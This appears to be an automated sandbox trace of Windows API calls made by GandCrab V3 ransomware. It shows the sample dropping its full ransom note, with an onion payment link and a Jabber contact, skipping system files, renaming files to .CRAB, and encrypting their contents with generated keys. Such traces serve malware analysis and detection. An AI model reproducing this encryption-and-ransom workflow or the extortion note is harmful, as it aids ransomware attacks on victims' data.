	[0135.511] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar", lpString2="\\" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\"
	[0135.512] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.512] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0135.512] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0135.512] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0135.512] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0135.512] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.512] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0135.512] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0135.512] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0135.512] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0135.512] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0135.512] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0135.513] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.513] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\\\CRAB-DECRYPT.txt") returned 74
	[0135.513] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0135.514] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0135.514] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0135.515] CloseHandle (hObject=0x3f0) returned 1
	[0135.515] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.515] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\") returned 57
	[0135.515] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\*") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\*"
	[0135.515] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0x3248430
	[0135.515] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0135.515] FindNextFileW (in: hFindFile=0x3248430, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0135.515] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0135.516] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0135.516] FindNextFileW (in: hFindFile=0x3248430, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0135.516] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0135.516] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0135.516] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\CRAB-DECRYPT.txt") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\CRAB-DECRYPT.txt"
	[0135.516] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.516] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\CRAB-DECRYPT.txt") returned 73
	[0135.516] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\CRAB-DECRYPT.txt") returned 73
	[0135.516] lstrlenW (lpString=".txt") returned 4
	[0135.516] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.516] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0135.517] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.517] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\CRAB-DECRYPT.txt") returned 73
	[0135.517] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\CRAB-DECRYPT.txt") returned 73
	[0135.517] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0135.517] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0135.517] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0135.517] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0135.517] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0135.517] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0135.517] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0135.517] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0135.517] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0135.517] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.517] FindNextFileW (in: hFindFile=0x3248430, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0135.518] lstrcmpW (lpString1="Gadgets", lpString2=".") returned 1
	[0135.518] lstrcmpW (lpString1="Gadgets", lpString2="..") returned 1
	[0135.518] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\", lpString2="Gadgets" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets"
	[0135.518] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets", lpString2="\\" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\"
	[0135.518] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.518] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0135.518] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0135.518] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0135.518] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0135.518] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.518] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0135.519] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0135.520] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0135.520] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0135.520] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0135.520] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0135.520] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.520] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\\\CRAB-DECRYPT.txt") returned 82
	[0135.520] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\gadgets\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0135.521] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0135.521] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0135.522] CloseHandle (hObject=0x3f4) returned 1
	[0135.522] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.522] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\") returned 65
	[0135.522] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\*") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\*"
	[0135.522] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0x3247db0
	[0135.522] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0135.522] FindNextFileW (in: hFindFile=0x3247db0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0135.522] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0135.522] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0135.522] FindNextFileW (in: hFindFile=0x3247db0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0135.522] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0135.522] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0135.523] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\CRAB-DECRYPT.txt") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\CRAB-DECRYPT.txt"
	[0135.523] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.523] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\CRAB-DECRYPT.txt") returned 81
	[0135.523] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\CRAB-DECRYPT.txt") returned 81
	[0135.523] lstrlenW (lpString=".txt") returned 4
	[0135.523] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.523] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0135.523] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.524] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\CRAB-DECRYPT.txt") returned 81
	[0135.524] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\CRAB-DECRYPT.txt") returned 81
	[0135.524] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0135.524] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0135.524] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0135.524] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0135.524] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0135.524] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0135.524] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0135.524] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0135.524] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0135.524] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.524] FindNextFileW (in: hFindFile=0x3247db0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0135.524] FindClose (in: hFindFile=0x3247db0 | out: hFindFile=0x3247db0) returned 1
	[0135.524] FindNextFileW (in: hFindFile=0x3248430, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0135.524] lstrcmpW (lpString1="settings.ini", lpString2=".") returned 1
	[0135.525] lstrcmpW (lpString1="settings.ini", lpString2="..") returned 1
	[0135.525] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\", lpString2="settings.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\settings.ini") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\settings.ini"
	[0135.525] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.525] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\settings.ini") returned 69
	[0135.525] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\settings.ini") returned 69
	[0135.525] lstrlenW (lpString=".ini") returned 4
	[0135.525] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.525] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0135.525] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.526] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\settings.ini") returned 69
	[0135.526] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\settings.ini") returned 69
	[0135.526] lstrcmpiW (lpString1="settings.ini", lpString2="desktop.ini") returned 1
	[0135.526] lstrcmpiW (lpString1="settings.ini", lpString2="autorun.inf") returned 1
	[0135.526] lstrcmpiW (lpString1="settings.ini", lpString2="ntuser.dat") returned 1
	[0135.526] lstrcmpiW (lpString1="settings.ini", lpString2="iconcache.db") returned 1
	[0135.526] lstrcmpiW (lpString1="settings.ini", lpString2="bootsect.bak") returned 1
	[0135.526] lstrcmpiW (lpString1="settings.ini", lpString2="boot.ini") returned 1
	[0135.526] lstrcmpiW (lpString1="settings.ini", lpString2="ntuser.dat.log") returned 1
	[0135.526] lstrcmpiW (lpString1="settings.ini", lpString2="thumbs.db") returned -1
	[0135.526] lstrcmpiW (lpString1="settings.ini", lpString2="CRAB-DECRYPT.txt") returned 1
	[0135.526] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.526] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\settings.ini.CRAB") returned 74
	[0135.526] GetFileAttributesW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\settings.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\settings.ini")) returned 0x20
	[0135.527] SetFileAttributesW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\settings.ini", dwFileAttributes=0x20) returned 1
	[0135.528] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\settings.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\settings.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\settings.ini.CRAB" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\settings.ini.crab")) returned 1
	[0135.529] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0135.529] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\settings.ini.CRAB" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\settings.ini.CRAB") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\settings.ini.CRAB"
	[0135.529] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\settings.ini.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\settings.ini.CRAB.CRAB") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\settings.ini.CRAB.CRAB"
	[0135.529] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0135.530] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0135.531] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0135.531] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0135.531] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0135.531] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0135.531] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.531] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0135.532] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0135.533] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0135.533] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0135.533] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0135.533] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0135.533] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.533] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0135.534] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0135.534] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0135.535] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x3248130) returned 1
	[0135.535] CryptGetKeyParam (in: hKey=0x3248130, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0135.535] CryptEncrypt (in: hKey=0x3248130, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0135.536] GetLastError () returned 0x0
	[0135.536] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0135.536] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0135.537] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x32482b0) returned 1
	[0135.537] CryptGetKeyParam (in: hKey=0x32482b0, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0135.537] CryptEncrypt (in: hKey=0x32482b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0135.538] GetLastError () returned 0x0
	[0135.538] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0135.538] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\settings.ini.CRAB" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\settings.ini.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0135.538] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0135.538] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0135.539] ReadFile (in: hFile=0x3f4, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314b474*=0x50, lpOverlapped=0x0) returned 1
	[0135.556] VirtualAlloc (lpAddress=0x0, dwSize=0x50, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0135.556] VirtualAlloc (lpAddress=0x0, dwSize=0x50, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0135.556] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.557] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xffffffb0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.557] WriteFile (in: hFile=0x3f4, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314b464*=0x50, lpOverlapped=0x0) returned 1
